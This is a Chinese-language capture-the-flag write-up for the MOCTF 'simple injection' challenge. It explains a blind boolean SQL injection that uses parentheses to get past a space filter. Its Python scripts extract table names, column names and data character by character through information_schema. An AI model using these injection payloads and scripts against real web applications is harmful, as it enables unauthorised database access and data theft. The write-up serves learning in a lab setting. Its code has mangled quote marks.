因為比較菜誒，所以這道題的命令讓我拼接了好久。記錄在此

放出url = http://119.23.73.3:5004/

打開後我們在後面寫?id=1既-->

當我們輸入的信息有誤後，頁面就沒有回顯了。

所以我們得到，當命令正確之後，會有hello的回顯。

我們在嘗試一下，發現他給ban了空格、sub、>等等。但是我們發現其他一些基礎的命令沒有給ban，比如“ascii,hex,select”等常規命令。所以這裏我們就要想辦法用其他方法代替空格。這裏我們采用()來代替空格。

這裏放上payload，大家自己看一看就行

還有下面是python代碼

①這個爆表名

import requests
 
import string
urll = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘1"
f1 = requests.get(urll)
content = f1.content
s = string.printable
# for i in range(10):
#     url = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘"+str(i)+""
#     f = requests.get(url)
#     if f.content != content:
#         print f.content
 

#         print i
url = "http://119.23.73.3:5004/?id=1"
def getData(url):
    r = requests.get(url)
    return r.text
def getTables():
    tables = ‘‘
    for i in range(50):
        for j in s:
            url2 = url + "‘and(select(hex(mid(group_concat(table_name)," + str(i+1) + ",1)))from(information_schema.tables)where(table_schema=database()))=‘
 
" + (j).encode(‘hex‘)
            #text = getData(url2)
            f = requests.get(url2)
            text = f.text
        
            if ‘Hello‘ in text:
                tables += j
                #print j
                #print tables
                break
        print tables

我們得到-->

②之後是列名

import requests
import string
urll = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘1"
f1 = requests.get(urll)
content = f1.content
s = string.printable
# for i in range(10):
#     url = "http://119.23.73.3:5004/?id=1‘and(length(database()))=‘"+str(i)+""
#     f = requests.get(url)
#     if f.content != content:
#         print f.content
#         print i
url = "http://119.23.73.3:5004/?id=1"

def getColumn():
    Column = ‘‘
    for i in range(50):
        for j in s:
            url2 = url +      "‘and(select(hex(mid(group_concat(Column_name)," + str(i+1) + ",1)))from(information_schema.columns)where(table_schema=database()and(table_name=‘do_y0u_l1ke_long_t4ble_name‘)))=‘" + (j).encode(‘hex‘)
            #text = getData(url2)
            f = requests.get(url2)
            text = f.text
        
            if ‘Hello‘ in text:
                Column += j
                #print j
                #print tables
                break
        print Column

得到結果

③爆數據

def getContent():
    content = ‘‘
    for i in range(50):
        for j in s:
            url2 = url + "‘and(select(hex(mid(group_concat(d0_you_als0_l1ke_very_long_column_name)," + str(i+1) + ",1)))from(do_y0u_l1ke_long_t4ble_name))=‘" + (j).encode(‘hex‘)
            #text = getData(url2)
            f = requests.get(url2)
            text = f.text
        
            if ‘Hello‘ in text:
                content += j
                #print j
                #print tables
                break
        print content

直接接爆出來了。

大家在寫這個題目的時候一定要註意url2的構造，，，我就是因為空格均為()，所以老搞不清裏面的東西。大家寫的時候一定要註意哦。。

還有，最後的值可以用hex比較，也可以用ascii比較。

Moctf---簡單註入